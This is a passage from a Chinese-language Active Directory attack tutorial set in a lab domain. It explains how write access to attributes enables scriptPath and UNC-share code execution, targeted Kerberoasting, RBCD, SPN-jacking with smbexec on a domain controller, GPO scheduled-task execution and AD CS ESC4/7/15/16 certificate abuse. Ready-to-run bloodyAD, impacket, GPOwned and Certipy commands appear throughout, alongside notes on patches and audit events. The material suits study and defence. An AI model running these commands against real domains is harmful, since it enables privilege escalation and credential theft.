另一条路径是先接管可写域控的机器账户凭据,再以该域控账户已有的复制身份发起请求。例如,控制 DC01$ 的 KCL 后,满足 PKINIT 与 UnPAC-the-hash 条件时可以取得机器账户凭据。这里复制请求的身份已经变成 DC01$,与普通用户仅拥有该计算机对象 FullControl 的权限范围不同。

gMSA 的密码检索权限

gMSA 密码由域控按密钥分发服务的数据生成、定期轮换。它通常足够长且随机,离线猜解难度很高;被授权读取密码的主体则可以直接取得凭据。

msDS-GroupMSAMembership 保存一段安全描述符,PowerShell 中的 PrincipalsAllowedToRetrieveManagedPassword 对应这项配置。域控生成 msDS-ManagedPassword 构造属性时,会按密码检索规则检查请求者是否获准。域控对这段安全描述符执行密码检索访问检查,并要求加密连接。能够修改该描述符的主体,还可能先改变获准检索范围。

获准的请求者读取密码 blob 后,可得到密码并派生账户密钥,进而以该 gMSA 身份认证。若它属于高权限组,读取密码的普通用户或计算机就成为高权限入口。常见工具包括 gMSADumper 和 GMSAPasswordReader,BloodHound 用 ReadGMSAPassword 表示相应关系。构造与权限检查见 MS-ADTS msDS-ManagedPassword。

独立托管服务账户 sMSA 的本机凭据提取则涉及另一组权限:管理运行该账户的主机,可能取得 LSA 中保存的凭据。它与从 AD 读取 gMSA 密码分别对应主机控制和目录检索权限。

LAPS 的读权限与解密权限

旧版 LAPS 的 ms-Mcs-AdmPwd 是机密属性。一般读取属性权限之外,还需要相应控制访问授权。普通 Read All Properties 不提供完整的机密属性读取授权,而 All Extended Rights 又可能成为扩大读取面的原因。

Windows LAPS 可以使用 msLAPS-Password 保存明文 JSON,也可以使用 msLAPS-EncryptedPassword 保存 DPAPI-NG 保护的密码数据。加密模式中,读取属性和解密密码分成两层:拿到密文的请求者还需要满足配置的解密主体授权。因此,对计算机对象的 GenericAll 不能直接推导为能解开已有的加密密码。见 Windows LAPS 架构。

拿到明文密码之后,还要核对它管理的是哪个本地账户,以及远程登录和管理入口是否允许使用。BloodHound 的 ReadLAPSPassword 表示相关访问关系;目录复制读取 LAPS 的路径则涉及域根的复制权限。

scriptPath 与登录脚本

scriptPath 存放登录脚本路径,常见为 NETLOGON 下的脚本名或 UNC 路径。若攻击者能修改该属性,并能控制用户登录时实际加载的脚本文件,就可能以登录用户身份执行脚本。

这里给 scriptPath_attacker 授予 scriptPath_victim 的 scriptPath 属性写权限:

scriptPath_victim 上的 scriptPath 写权限

将脚本路径改为指定共享中的 logon.bat:

bloodyAD --host 192.168.147.128 -d testjd.local -u scriptPath_attacker -p 'Bb123456' \
  set object scriptPath_victim scriptPath -v '\\192.168.244.130\share\logon.bat'

bloodyAD 成功写入 scriptPath

这里的 192.168.244.130 是脚本共享服务器地址,与目录写入连接的域控地址分开。输出确认路径已保存。用户登录时,客户端还需要能够访问该共享并加载脚本;执行身份来自登录用户,应用控制和脚本策略继续起作用。scriptPath 可结合事件 4738 检查,属性变更还可按 SACL 记录为 5136。

RDP 初始程序

msTSInitialProgram 与 msTSWorkDirectory 关联远程桌面初始程序,需要目标 RDS 服务实际采用 AD 用户对象上的配置。Server 2016 起,RCM 默认不再按旧方式查询这组用户属性;启用了相应兼容配置的环境才会沿这条路径加载。见微软 RCM 说明。

下面是初始程序路径的写入示例:

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  set object victim msTSInitialProgram -v '\\192.168.244.130\share\run.exe'

目标 RDS 采用这组配置后,在相应用户会话中启动程序;写入属性本身只完成目录配置修改。

主目录与漫游配置文件路径

homeDirectory 与 homeDrive 用于用户主目录,profilePath 用于漫游配置文件。将 UNC 指向攻击者控制的位置,可以让采用这些配置的客户端在登录、映射主目录或加载配置文件时访问该位置:

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  set object victim homeDirectory -v '\\192.168.244.130\share'

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  set object victim profilePath -v '\\192.168.244.130\share\profile'

后续认证由发起访问的组件及其安全上下文决定。允许 NTLM 时,监听端可能取得 NTLM 挑战响应用于离线猜解;继续中继还要满足目标协议的保护和授权条件。SMB 来源中继到 LDAP 有额外的签名协商等限制,AD CS 模板也需要允许本次认证身份注册。路径变化可结合 4738、5136 和出站 SMB 连接排查。

RODC 密码复制策略

RODC 使用密码复制策略(PRP)控制哪些凭据可以缓存到分支域控:

属性 作用
msDS-RevealOnDemandGroup 允许缓存的主体
msDS-NeverRevealGroup 拒绝缓存的主体
msDS-RevealedList 已向该 RODC 揭示凭据的账户信息
managedBy RODC 管理委派主体,关联本地管理能力

PRP 的拒绝优先于允许。把 Administrator 加到允许列表,若它仍通过 Domain Admins 等成员关系匹配拒绝项,缓存仍会被阻止。只删除某个直接 DN,也不会消除来自拒绝组的传递匹配。

这条路径需要攻击者能够修改有效 PRP、控制 RODC 主机或取得其相关密钥,并让目标凭据进入该 RODC 可取得的范围。持有 RODC 的 krbtgt 派生密钥可以支持 RODC 票据及 Key List 等技术,但 RWDC 仍按相应规则限制可揭示账户。细节见 The Curious Case of the RODC。

修改 RODC 对象的目录配置,应提交到可写域控。读取缓存与策略信息的示例:

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  get object 'RODC01$' --attr msDS-RevealOnDemandGroup,msDS-NeverRevealGroup,msDS-RevealedList,managedBy

多值属性写入还要保护原有成员。set object 的替换操作应提交完整的期望值集合,追加 / 删除则使用对应操作,避免为了增加一项而覆盖整份策略。

SPN、委派与认证标志

servicePrincipalName 与定向 Kerberoasting

服务票据的 Ticket 加密部分由目标服务账户的长期密钥保护。域用户取得 TGT 后,可以为可解析的服务 SPN 申请票据;KDC 的票据签发和服务最终的资源授权是不同阶段,申请者不需要先拥有服务端资源访问权。

攻击者取得票据后,可以离线猜测服务账户密码,派生候选密钥并检验票据密文。密码足够弱时,就能恢复该服务账户的凭据,这就是 Kerberoasting。系统生成并轮换的机器账户、gMSA 密码通常难以猜解;人为设置的弱密码才使该路径容易成功。弱密码或预创建计算机账户也可能成为目标,对象是 user 还是 computer 并不单独决定可破解性。

定向 Kerberoasting 增加了一步属性写入:目标用户原先没有 SPN,攻击者通过 WriteProperty(SPN) 或覆盖它的权限临时增加唯一 SPN,申请该账户的服务票据,再删除本次新增值。Validated-SPN 有名称关系等校验,不能直接当成对任意用户添加任意 SPN 的属性写权限。

先使用管理员身份,为 setspn_attacker 授予 setspn_victim 的 servicePrincipalName 写权限:

Import-Module ActiveDirectory
$targetDN = (Get-ADUser setspn_victim).DistinguishedName
dsacls $targetDN /G "TESTJD\setspn_attacker:WP;servicePrincipalName"

随后切换到 setspn_attacker,通过 krbrelayx 的 addspn.py 增加一个 SPN:

python3 addspn.py -u 'testjd.local\setspn_attacker' -p 'Bb123456' \
  -t 'setspn_victim' -s 'HTTP/spn-test.testjd.local' \
  -dc-ip 192.168.147.128 dc01.testjd.local

addspn 成功为 setspn_victim 写入 SPN

Windows 上也可以在 setspn_attacker 的会话中使用原生 setspn 命令。这里先查看已有值,再删除测试值、增加一个新值:

setspn -L setspn_victim
setspn -D HTTP/spn-test.testjd.local setspn_victim
setspn -S HTTP/spn-new.testjd.local setspn_victim

以 setspn_attacker 身份增删 setspn_victim 的 SPN

这时 KDC 可以把新 SPN 定位到 setspn_victim。为它申请服务票据后,离线猜测要验证的是 victim 的密码;域名对应的 HTTP 服务是否实际运行,不影响这一步按 SPN 查找账户。

也可以使用 targetedKerberoast 自动完成临时写入、取票和清理;已有 SPN 的账户可直接用 GetUserSPNs 取票:

targetedKerberoast.py -d testjd.local -u attacker -p 'Bb123456' \
  --request-user victim --dc-ip 192.168.244.131

# 已有 SPN 的目标,也可以单独申请其票据
impacket-GetUserSPNs testjd.local/attacker:'Bb123456' \
  -dc-ip 192.168.244.131 -request-user victim -outputfile hashes.txt

工具增加和移除临时 SPN 的实现见 targetedKerberoast。手工操作时,应保留目标原有 SPN,只删除本次增加的值,避免清空整个服务配置。

hashcat 的模式取决于导出数据的加密类型,13100 用于 RC4-HMAC TGS 数据;AES 票据使用相应的 AES 模式。更改 SPN 可按 SACL 产生 5136,计算机对象还可结合 4742 的 SPN 字段检查。

RBCD 的属性内安全描述符

msDS-AllowedToActOnBehalfOfOtherIdentity 保存安全描述符,用于判断哪个服务主体可以代表用户访问目标服务。这里有两层权限:

  • 目标对象的外层 DACL,决定谁能修改该属性。
  • 该属性中的安全描述符,由 KDC 在 RBCD 检查中用于判断委派来源主体。

RBCD 属性写入与委派来源的两层访问检查

攻击者若能写该属性,可将自己控制的服务账户 SID 加入允许范围。之后,受控服务先通过 S4U2Self 获得用户访问自身的证据票据,再通过 S4U2Proxy 请求用户访问目标服务的票据。RBCD 可以接受符合其检查条件的非 forwardable 证据票据,这也是它与经典约束委派的重要差异。

常用来源是已知密码、带 SPN 的计算机账户。创建来源账户与修改受害计算机是两个独立权限条件;MAQ 允许建机器并不自动提供目标属性写权。被模拟用户的不可委派设置、KDC 检查以及目标服务授权仍影响最终访问。完整票据过程可结合《委派攻击》及 Wagging the Dog阅读。

Linux 的 rbcd.py 配置目标属性,getST.py 用于后续取票,分别对应“修改配置”和“使用委派”。BloodHound 的 AddAllowedToAct 表示配置入口,AllowedToAct 表示已存在的资源委派关系。

经典委派配置与已有委派关系

msDS-AllowedToDelegateTo 记录经典约束委派目标 SPN;UAC 中的 TRUSTED_FOR_DELEGATION(0x80000)关联非约束委派,TRUSTED_TO_AUTH_FOR_DELEGATION(0x1000000)关联协议转换。

配置经典委派还涉及 SeEnableDelegationPrivilege 等专门检查。因此,在权限分析中,要把“能够写相应属性”与“服务器允许建立此类委派信任”连起来。RBCD 的资源属性写入不采用相同的经典委派特权检查。

已有约束委派账户被控制后,若配置了协议转换并允许目标 SPN,可使用 S4U2Self + S4U2Proxy。仅 Kerberos 的经典约束委派则还需要合适的可转发证据票据,不能只凭目标 SPN 列表省去这一条件:

# 示例:svc_web 已配置协议转换,且允许委派到目标 CIFS SPN
impacket-getST -spn 'cifs/dc01.testjd.local' -impersonate Administrator \
  -dc-ip 192.168.244.131 'testjd.local/svc_web:P@ss'

服务票据外层的服务名在某些场景可被替换,但替换后服务仍要能用自己的账户密钥解开票据,并接受相应身份与服务名。HTTP、CIFS、LDAP 只有在账户密钥及服务端检查相容时才可能互换;获得某个 HTTP 票据并不自动获得任意机器的 LDAP 或复制权限。

非约束委派则依赖客户端实际发送可转交的 TGT。受控委派服务收到目标的 Kerberos 认证并取得委派凭据后,才可能使用该 TGT 访问其他服务;Protected Users、敏感不可委派设置及跨信任 TGT 委派策略都在这条路径上起作用。

SPN-jacking 与约束委派

SPN-jacking 通过改变 SPN 所属账户,改变 KDC 为该名称签发票据时使用的服务密钥。它可以与已有的经典约束委派组合:前端账户的允许委派列表记录的是目标 SPN,当这个名称迁移到另一个账户,后续票据便会面向新的服务账户。这个账户可以是计算机或运行服务的域用户,原理见 Elad Shamir 的 SPN-jacking 研究。

这里涉及三个机器账户:

  • test123$ 是已控制的委派来源,配置了协议转换,允许委派到 cifs/win10-5u.testjd.local。
  • win10-5u$ 是原来的服务账户,攻击者能够修改它的 SPN。
  • dc01$ 是真正要访问的目标,攻击者能修改它的 SPN,但尚未持有它的账户凭据。

SPN 写入由 setspn_attacker 完成,后续 S4U 取票则使用 test123$ 的凭据。两项能力分别来自属性写权限与已有委派配置。

下图把服务名称、账户归属和票据密钥放在一起。委派配置引用的名称保持原值,KDC 根据这个名称的当前归属选择加密账户:

SPN 归属变化与服务票据密钥的关系

test123$ 的初始委派配置如下,选择了“使用任何身份验证协议”,目标服务为 WIN10-5U 的 CIFS:

test123 的协议转换与 CIFS 约束委派配置

迁移服务名称

先清空 win10-5u$ 的 SPN:

python3 addspn.py -u 'testjd.local\setspn_attacker' -p 'Bb123456' \
  -t 'win10-5u$' -dc-ip 192.168.147.128 -c dc01.testjd.local

工具在清空前列出了原有属性,其中包括 HOST/WIN10-5U 与 HOST/WIN10-5U.testjd.local:

清空 win10-5u 的 SPN 前列出的原始属性

CIFS 可以通过目录中的服务类映射使用 HOST SPN。因此,即使原列表没有显式的 cifs/win10-5u.testjd.local,也需要处理它与 HOST 的名称归属。-c 会清空整个 SPN 列表,同时移除这些 HOST 名称,操作前应记录原值,完成后按原列表恢复。

接着把需要的名称写到 dc01$:

python3 addspn.py -u 'testjd.local\setspn_attacker' -p 'Bb123456' \
  -t 'dc01$' -s 'cifs/win10-5u.testjd.local' \
  -dc-ip 192.168.147.128 dc01.testjd.local

这里没有修改 test123$ 的 msDS-AllowedToDelegateTo。允许委派的字符串仍是 cifs/win10-5u.testjd.local,而 KDC 按这个名称找到的账户已经变成 dc01$。

请求票据并连接实际目标

使用 test123$ 的凭据,以 Administrator 为被模拟用户请求票据:

impacket-getST testjd.local/'test123$':'Aa123456' \
  -spn cifs/win10-5u.testjd.local -impersonate Administrator \
  -dc-ip 192.168.147.128

最终服务票据中的客户端身份是 Administrator,服务名仍为 cifs/win10-5u.testjd.local,Ticket 的加密部分则由 DC01$ 的长期密钥保护。攻击者通过受控的 test123$ 完成 S4U 交换,取得票据及对应会话密钥,再把票据交给持有 DC01 密钥的服务验证。

连接时保留票据中的主机名称,用 -target-ip 单独指定实际网络地址:

export KRB5CCNAME=Administrator@[email protected]
impacket-smbexec -k -no-pass -target-ip 192.168.147.128 win10-5u.testjd.local

可以看到,连接名称写的是 win10-5u.testjd.local,执行 ipconfig 返回的地址却是域控的 192.168.147.128:

使用迁移后的 CIFS 票据连接 DC01 并执行 ipconfig

smbexec 通过 SMB 上的 \pipe\svcctl 调用服务控制管理器,这张 CIFS 票据可以沿这条 SMB 连接完成认证。

这里换用 wmiexec 没有成功。WMI 使用 DCOM/RPC,除 SMB 输出连接外,还会处理服务端返回的 RPC 地址与主机名称。SPN 迁移后,客户端使用 win10-5u,真实服务端可能返回 DC01,两者的匹配也会影响连接。Impacket 的缓存处理支持在同一主机名下复用其他服务类型的票据,因此分析 WMI 失败还需要查看具体报错及 DCOM 地址交互。相关实现见 wmiexec.py、票据缓存选择和 DCOM 连接处理。

使用完后,移除 dc01$ 上本次增加的 SPN,再恢复 win10-5u$ 的原值。原有委派配置与其他服务 SPN 一并核对,避免留下服务名称与实际账户不一致的配置。

userAccountControl 与加密类型

UAC 是位图。修改时应在原值上增删所需标志,避免覆盖其他账户状态;部分标志还有额外服务端权限要求。

标志 值 作用
DONT_REQUIRE_PREAUTH 0x400000 关闭相应 Kerberos 预认证要求,提供 AS-REP Roasting 入口
PASSWD_NOTREQD 0x20 影响密码要求,不会清除已有密码
ACCOUNTDISABLE 0x2 禁用账户;清除可重新启用账户
DONT_EXPIRE_PASSWORD 0x10000 密码不按最大密码期限过期;账户到期由 accountExpires 另行控制
NOT_DELEGATED 0x100000 将账户标为敏感、不可委派
TRUSTED_FOR_DELEGATION / TRUSTED_TO_AUTH_FOR_DELEGATION 0x80000 / 0x1000000 非约束委派 / 协议转换,涉及专门配置权限

下面展示 AS-REP Roasting 的属性入口。示例假设该位原先关闭,结束时恢复该位:

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  add uac victim -f DONT_REQ_PREAUTH

impacket-GetNPUsers testjd.local/victim -no-pass \
  -dc-ip 192.168.244.131 -format hashcat -outputfile asrep.txt

bloodyAD --host 192.168.244.131 -d testjd.local -u attacker -p 'Bb123456' \
  remove uac victim -f DONT_REQ_PREAUTH

上述命令直接向 KDC 为 victim 请求 AS-REP,处理过程见 GetNPUsers.py 源码。关闭预认证提供的是离线猜测入口,能否恢复密码继续受密码强度与加密类型影响。

msDS-SupportedEncryptionTypes 用于声明账户支持的加密类型。将它改为 RC4 或 DES 相关值,只有在 KDC 策略允许、账户具有相应密钥且协商规则接受时才会产生目标加密类型。更新后的系统可以禁用弱算法,单个属性值无法强制 KDC 使用已经停用的算法。位定义与 KDC 行为可对照微软 Kerberos 加密类型说明。

GPO 的目录对象与策略文件

GPO 包含两部分:AD 中的组策略容器 GPC,保存 gPCFileSysPath、版本及扩展信息;SYSVOL 中的组策略模板 GPT,保存具体策略文件。域、OU、站点的 gPLink 决定链接关系。

客户端先确定适用的链接,再读取 GPC,按 UNC 路径取得 GPT,最后交给对应客户端扩展(CSE)处理。机器策略通常使用计算机安全上下文,用户策略涉及用户身份及具体扩展。编辑策略内容与修改链接、路径、扩展信息,分别影响这条处理链的不同环节。

下图展示机器策略从目录查询到策略文件加载的过程:

gpo-computer-policy-flow.png

通过 GPO 配置计划任务

这里为 gpo_attacker 授予 Allow RDP for IT Group 的写权限,目标 GPO 的 GUID 为 {12295D8C-528F-4368-B278-47B9A3FE3BA6}:

Allow RDP for IT Group 的 gpo_attacker 写权限

使用 GPOwned 在机器配置中增加立即执行计划任务,将 whoami 输出写入目标的 C:\gpo_test.txt:

python3 GPOwned.py -u gpo_attacker -p 'Bb123456' -d testjd.local -dc-ip 192.168.147.128 \
  -gpcmachine -name '{12295D8C-528F-4368-B278-47B9A3FE3BA6}' \
  -gpoimmtask -author 'TESTJD\Administrator' -taskname 'WindowsUpdate' \
  -taskdescription 'System Update' -dstpath 'cmd.exe' \
  -taskargs '/c whoami > C:\gpo_test.txt'

日志依次显示写入 Machine\Preferences\ScheduledTasks\ScheduledTasks.xml、更新 gPCMachineExtensionNames,以及更新目录版本和 GPT.ini:

GPOwned 写入计划任务及更新 GPC 与 GPT 版本

写入同时涉及 GPC 的目录属性和 GPT 的策略文件,因此 gpo_attacker 需要具备这两部分的有效权限。作用范围内的计算机在读取并处理策略后执行任务。

-author 设置的是任务作者字段。按 GPOwned 的实现,没有指定 -gpoimmuser 时,任务运行主体默认为 NT AUTHORITY\SYSTEM。任务执行后,C:\gpo_test.txt 中的 whoami 输出会记录实际运行身份。

链接可写:gPLink

写 gPLink 可以改变某个容器的策略链接。攻击者若同时控制一个 GPO,就可能把它链接到目标范围;能编辑 GPO 和能修改链接是两项独立能力。

策略是否应用,还取决于链接是否启用、计算机 / 用户配置是否启用、继承、Read / Apply Group Policy 安全筛选、WMI 筛选以及具体扩展的触发方式。Enforced 影响继承优先级及阻止继承的处理,不会绕过安全筛选。

OUned 原始研究进一步利用链接中的目录路径,引导客户端查询攻击者控制的 GPC,再取得恶意 GPT。其实现需要可控 DNS、能满足 LDAP / SMB 认证要求的服务和相应账户等条件;只写一个任意 LDAP URL,不足以完成整条链。

GPO 执行与 AD 对象 DACL 继承是两个机制。即使目标账户的 DACL 受 AdminSDHolder 保护,相关主机仍可能应用有效 GPO;但这需要主机位于策略作用范围内。

GPC 路径可写:gPCFileSysPath

正常路径类似:

\\testjd.local\SYSVOL\testjd.local\Policies\{GPO-GUID}

对 GPC 的相应属性有写权限,可以尝试把 GPT 路径重定向到可控共享,再提供含计划任务等设置的策略文件。这样,攻击入口位于 LDAP 中,未必需要修改原 SYSVOL 文件。

GPOddity展示了这种组合。客户端取文件时仍会执行 SMB 认证及适用的 UNC Hardened Access 检查。其嵌入式 SMB 实现需要有效机器账户完成相应认证,默认针对 SYSVOL / NETLOGON 的路径加固和更广的自定义加固也会影响访问。因此应把“路径改写、服务端身份、文件读取、扩展执行”作为连续过程分析。

扩展与版本信息可写

gPCMachineExtensionNames、gPCUserExtensionNames 声明处理策略所需的 CSE / 编辑器 GUID 对。常见扩展包括计划任务、脚本和安全设置。策略内容、扩展声明、GPC 版本及 GPT.ini 版本需要保持相应关系,客户端才会按预期发现和处理变化。

这里的 CSE 必须已注册在客户端。向 GPC 写入一个新 GUID,不会自动把攻击者 DLL 安装到客户端;注册自定义扩展需要另外的客户端控制权限。

标准成员机后台刷新常见为 90 分钟加随机偏移,域控常见为 5 分钟;有些扩展仅在启动、登录等时机处理。一次目录修改完成到实际执行之间,还包括复制、刷新和扩展处理阶段。目录侧可审计 gPLink、gPCFileSysPath、扩展与版本字段,文件侧则要检查 GPT 的实际改动。

身份属性与证书服务

证书认证需要连接三个环节:CA 按模板及申请数据签发证书,认证端验证证书信任与用途,再将证书映射到 AD 账户。属性写入可能改变申请者的身份信息,也可能改变模板、信任对象或 CA 配置。这些位置受不同权限控制。

dNSHostName 与 Certifried

Certifried(CVE-2022-26923)利用历史机器证书身份映射问题。攻击者控制新建机器账户,处理可能冲突的 SPN,再将该机器的 dNSHostName 改成目标域控名称,使用从目录构造名称的机器模板申请证书。CA 签出带目标 DNS 名的证书后,旧映射流程可能把它识别为目标域控。

这里的关键是先修改目录身份属性,再让 CA 从目录中取值。仅在普通 Machine 模板的请求中填写 -dns,不能代替属性修改,也不能强迫不允许申请者指定 SAN 的模板接受任意 DNS 名。

2022 年 5 月的相关更新引入了申请者 SID 安全扩展及更严格的证书到账户绑定,并配合目录校验调整处理这类问题。完整历史流程可见 Oliver Lyak 的 Certifried 研究,后续绑定部署见 KB5014754。

msDS-AdditionalDnsHostName 用于计算机附加 DNS 名,并涉及对应 SPN 维护。对它的校验写与普通属性写采用不同约束,额外名称被某个证书模板或服务使用时还要检查该组件的取值规则。不能只根据“也是 DNS 名属性”就推出它能绕过 Certifried 补丁。

userPrincipalName 与弱映射

旧的弱映射路径可以使用证书 SAN 中的 UPN 查找账户。攻击者若能控制一个可注册证书的账户并修改其 UPN,可以先将其改成目标名称、申请证书,再恢复原值,让认证端将证书中的名称映射到另一个目标。这是 ESC9 / ESC10 等历史组合中常见的属性操作。

KDC 的强映射使用 SID 安全扩展或其他受支持的强绑定,Schannel 则有自己的证书映射选项。二者要分别核对。微软自 2025 年 2 月推进 Full Enforcement,安装 2025 年 9 月 9 日及之后相关更新的域控不再支持通过 StrongCertificateBindingEnforcement 返回兼容模式。因而旧文中的注册表值、UPN 改名与取证书步骤,只能在其适用的旧版或弱配置路径中成立,不能作为更新域控的默认行为。时间线与强弱映射类型见 KB5014754。

altSecurityIdentities 与显式映射

altSecurityIdentities 允许显式声明“哪张证书可以映射到本账户”。攻击者若能写目标属性,并持有符合信任、用途等要求的证书及私钥,就可能把该证书的标识绑定到目标,再以目标身份认证。

映射格式分强弱类型。Issuer + Subject 等可复用名称属于弱映射;Issuer + Serial、Subject Key Identifier、SHA1 Public Key 等属于强映射。强映射准确绑定一张证书或公钥,却仍然信任有权写此属性的管理员:若这条写权限落入攻击者手中,强映射也能被用于接管。因此 ESC14 的关键是映射写权,而不仅是关闭强绑定。

一条完整路径是:取得可用证书及私钥 -> 计算受支持的映射标识 -> 向目标 altSecurityIdentities 增加该值 -> 使用证书认证。写入示例中的 X.509 标识需要按真实证书生成,不能用省略字符串直接运行。原始研究提供了几种不同前提与映射格式,见 ADCS ESC14 Abuse Technique。

BloodHound 可用 WriteAltSecurityIdentities、WritePublicInformation 等关系表达相关写权限;属性集写权限也要展开到实际成员。图中的命名与采集支持会随版本变化,分析最终仍落到目标属性是否可写。

模板写权限:ESC4

证书模板位于 Configuration 分区的 Certificate Templates 容器,本身也是 AD 对象。攻击者可能通过 WriteDacl 增加编辑与注册权限,再修改名称标志、认证用途、审批和授权签名要求,将模板变成可用于冒充的配置。

配置 位置 含义
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT,0x1 msPKI-Certificate-Name-Flag 允许申请者提供主体相关信息
CT_FLAG_PEND_ALL_REQUESTS,0x2 msPKI-Enrollment-Flag 请求进入待批准状态
CT_FLAG_NO_SECURITY_EXTENSION,0x80000 msPKI-Enrollment-Flag 不加入 SID 安全扩展
Client Authentication,1.3.6.1.5.5.7.3.2 EKU / 应用策略 声明客户端认证用途
注册权限 模板 DACL 控制哪些主体能够使用模板申请

审批位的值为 0x2,具体处理见 MS-WCCE msPKI-Enrollment-Flag。

Certipy 5 的配置示例:

# 修改前会保存模板配置,具体保存路径见工具输出
certipy template -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -template SecureFiles -write-default-configuration

# CA 必须发布该模板,申请者也需要具备相应注册能力
# SID 为占位值,需替换为目标账户的完整 SID
certipy req -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA \
  -template SecureFiles -upn [email protected] -sid 'S-1-5-21-...-500'

certipy auth -pfx administrator.pfx -dc-ip 192.168.244.131

# 恢复本次修改前保存的配置
certipy template -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -template SecureFiles \
  -write-configuration SecureFiles.json -no-save

-write-default-configuration 会改动多个模板属性和 DACL,影响不止一个勾选;若仅有部分属性写权限,也未必能完成它所需的全部修改。工具实现见 Certipy 模板命令。

PKI 信任对象:ESC5

模板之外,NTAuthCertificates、Certification Authorities、AIA、CDP 等对象也参与 PKI 信任与证书验证。对这些对象的写权需要按其具体作用分析:

  • NTAuthCertificates 声明用于相应域认证的受信任签发 CA;把证书写进去还不等于建立完整的受信任根链。
  • 根与中间 CA 的发布、证书链、用途、吊销状态及账户映射共同影响认证。
  • CA 计算机对象的可利用写权还可能通过 RBCD、Shadow Credentials 等路径通向 CA 主机,之后才涉及私钥访问。
  • 管理 CA 主机与导出 CA 私钥并非同一操作;密钥存储、可导出性、HSM 和备份权限等会影响密钥提取。

若 CA 私钥确实泄露,攻击者便可能伪造其信任范围内的证书,影响持续到相应信任或密钥被替换。与目录对象写权相比,这是下一阶段的 PKI 凭据控制。攻击分类及基础关系见 Certified Pre-Owned。

CA 管理角色:ESC7

ManageCA 与 ManageCertificates 是 CA 服务管理权限,不能直接与 AD 中 pKIEnrollmentService 对象的 LDAP DACL 等同。ManageCA 关联 CA 配置与角色管理,ManageCertificates 关联请求批准和管理;角色分离设置也会影响同一主体能否同时承担这些职责。

经典 SubCA 路径是:有 ManageCA 的主体给自己配置证书管理员角色,发布 SubCA 模板,提交带目标身份的请求。缺少模板注册权限的请求可能被拒绝但仍留下 Request ID 和申请端私钥,攻击者再使用相应 CA 管理能力签发该请求并取回证书。这里要处理的是那条被拒绝请求,不能把所有拒绝都当成普通待审批。

certipy ca -u [email protected] -p 'Bb123456' \
  -ns 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA -add-officer attacker

certipy ca -u [email protected] -p 'Bb123456' \
  -ns 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA -enable-template SubCA

certipy req -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA \
  -template SubCA -upn [email protected] -sid 'S-1-5-21-...-500'

# 将 1 替换为上一条请求返回的 Request ID,并保留该请求私钥
certipy ca -u [email protected] -p 'Bb123456' \
  -ns 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA -issue-request 1

certipy req -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA -retrieve 1

请求管理与参数见 Certipy 的 CA 命令和利用说明。

Application Policy 注入:ESC15

ESC15(EKUwu,CVE-2024-49019)是 CA 漏洞,已在 2024 年 11 月修复。未修复 CA 处理符合条件的 V1 模板请求时,可把攻击者提供的 Application Policies 加入证书,使签出证书的用途超出模板预期。

Application Policies 与标准 EKU 在各认证组件中的处理存在差异。直接注入 Client Authentication 的典型路径使用 Schannel / LDAPS;PKINIT 不能据此直接接受原本只具备服务器认证 EKU 的证书。另一种组合是注入 Certificate Request Agent,再使用注册代理路径申请第二张可用证书。原始测试见 TrustedSec EKUwu。

# 适用于未修复 CVE-2024-49019、允许该申请者注册的相应 V1 模板
certipy req -u [email protected] -p 'Bb123456' \
  -dc-ip 192.168.244.131 -target ca.testjd.local -ca testjd-DC01-CA \
  -template WebServer -upn [email protected] -sid 'S-1-5-21-...-500' \
  -application-policies 'Client Authentication'

certipy auth -pfx administrator.pfx -dc-ip 192.168.244.131 -ldap-shell

取得证书用途只完成其中一环,Schannel 的证书信任与账户映射仍需通过。

CA 全局禁用 SID 扩展:ESC16

若 CA 在 DisableExtensionList 中禁用 OID 1.3.6.1.4.1.311.25.2,其签发证书会缺少 SID 安全扩展。这把模板级的“无安全扩展”问题扩展到 CA 范围。

在旧兼容映射环境中,可以与 UPN 操作组合;在 Full Enforcement 环境中,单纯缺少扩展不会自动恢复弱映射。不过,如果同一 CA 还存在 ESC6,允许攻击者通过请求属性指定 SAN,便可能将目标 SID 作为受支持的 SAN URL 映射写入证书,形成另一条组合。该组合见 Certipy ESC16 说明。

ESC4、ESC5、ESC7 关注写权限或管理权限,ESC15 包含具体 CA 漏洞,ESC16 则是 CA 配置与映射的组合。它们最终都可能影响证书身份,但前置条件和修复位置并不相同。

账户限制、策略与其他属性

账户限制与备注信息

lockoutTime、logonHours、userWorkstations、accountExpires 分别关联锁定状态、登录时段、允许的工作站和账户到期时间。获准修改相应属性,可以解除某一类账户限制,但不会替代认证凭据,也不会自动授予资源访问权限。

例如,将 lockoutTime 置 0 可解锁账户,清除 userWorkstations 可移除该属性规定的工作站限制。检查 Account Restrictions 属性集授权时,还要查询实际 schema 成员,特别留意计算机对象上涉及 RBCD 的写入面。可结合 4738、4742、4767 以及相应目录审计追踪变更。

description、info、comment 等备注通常可被较广范围读取。若管理员把服务口令写入备注,合法读取权限也能变成凭据泄露入口。读取这些信息属于信息收集;扫描到类似密码的字符串后,还需要识别它关联哪个账户、是否仍有效,不能把任意描述字段当成已确认凭据。

MachineAccountQuota 与创建来源账户

域根的 ms-DS-MachineAccountQuota 默认值为 10,参与普通用户创建计算机账户的配额控制。获得某个容器上的显式 Create Computer 权限,是另一条创建路径,不能只用 MAQ 的数值概括整个域的加域权限。

已知密码、带 SPN 的计算机可以用于 RBCD、可控服务等后续步骤。MAQ 提供来源账户,并不提供目标计算机的写权限。将 MAQ 设为 0 可以缩小配额创建入口;已有受控计算机、已委派的创建权限,以及有额外密码控制和票据条件的 SPN-less RBCD 等变体,仍需要分别分析。相关票据与账户条件在《委派攻击》中展开。

信任对象的配置

